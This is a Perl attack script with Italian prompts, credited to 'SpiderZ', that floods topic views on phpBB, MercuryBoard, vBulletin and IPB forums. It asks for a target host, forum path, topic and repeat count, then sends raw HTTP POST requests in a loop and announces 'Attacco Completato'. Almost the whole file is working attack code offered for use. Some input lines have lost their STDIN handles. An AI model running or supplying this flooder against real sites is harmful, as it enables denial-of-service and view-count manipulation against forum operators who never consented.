#!/usr/bin/perl print q{ _________________________________________________________________________ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> / \ \ \ ,, / / '-.`\()/`.-' .--_'( )'_--. / /` /`""`\ `\ \ * SpiderZ ForumZ Security * | | >< | | \ \ / / '.__.' => View Topic Flood phpBB, MercuryBoard, Vbulletin, Ipb => Sito: www.spiderz.altervista.org => Sito2: www.spiderz.netsons.org => Author: SpiderZ => Bug trovato da Gaggo, Exploit creato da SpiderZ _________________________________________________________________________ >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> }; use IO::Socket; print q{ ------------------------------------------------------------------------- => Exploit created by: SpiderZ => Inserisci l'url del sito => senza inserire ( www - http ) => }; $host = ; chop ($host); print q{ ------------------------------------------------------------------------- => Indica la cartella => cartella: ( /Forum/ ) => }; $pth = ; chop ($pth); print q{ ------------------------------------------------------------------------- => phpBB ( viewtopic.php?t= ) => MercuryBoard ( index.php?a=topic&t= ) => Vbulletin ( showthread.php?t= ) => Ipb ( index.php?showtopic= ) => }; $t = ; chop ($t); print q{ ------------------------------------------------------------------------- => Numero Topic => Es: viewtopic.php?t=1 ( 1, 2, 3, ecc.. ) => }; $topic = ; chop ($topic); print q{ ------------------------------------------------------------------------- => Quante volte vuoi fare il flood ? ( 1 / 10000 ) => }; $while = ; chop ($while); while($x != $while ) { $lrg = length $postit; my $sock = new IO::Socket::INET ( PeerAddr => "$host", PeerPort => "80", Proto => "tcp", ); die "\nThe Socket: $!\n" unless $sock; print $sock "POST $pth"."$t$topic HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Referer: $host\n"; print $sock "Connection: Keep-Alive\n"; print $sock "Cache-Control: no-cache\n"; print $sock "Content-Length: $lrg\n\n"; print $sock "$postit\n"; close($sock); syswrite STDOUT, "."; $x++; } print q{ ------------------------------------------------------------------------- => Attacco Completato ! => www.spiderz.tk ------------------------------------------------------------------------- };